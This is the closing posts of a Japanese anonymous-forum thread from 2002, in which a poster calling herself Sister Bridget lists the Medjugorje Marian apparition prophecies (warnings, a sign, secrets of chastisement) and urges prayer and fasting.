名無しさん@1周年 :02/12/13 16:17
998 :
シスター・ブリージ :02/12/13 16:17
メジュゴリエの聖母の預言:傾向と対策まとめ 1、3つの警告。それぞれのあいだはかなり短い。その間は、回心と恵み の期間である。(おそらく3つ目の)警告は、10日前にミリアナに知らさ れ、彼女は司祭を介して証言する。この結果、メジュゴリエが認められ、 人々の回心を刺激する。 2、3つの警告の後で、メジュゴリエの丘の上に目に見える「しるし」が あり、カトリック信徒を信仰に引き戻す。 3、しるしが現れてからでは回心する機会はほとんどない。 4、7つ目の秘密に含まれる世界を脅かす悪のひとつは祈りと断食に よって回避されてきた。 5、9と10の秘密は天罰に関係する。全世界が回心することはないので 天罰は避けられないが、祈りと断食によって軽減あるいは遅延できる。 6、結論として、私たち誰もが、5に協力するべきです。
999 :
名無しさん@1周年 :02/12/13 16:18
1000 :
シスター・ブリージ :02/12/13 16:18
わかりましたか?
1001 :
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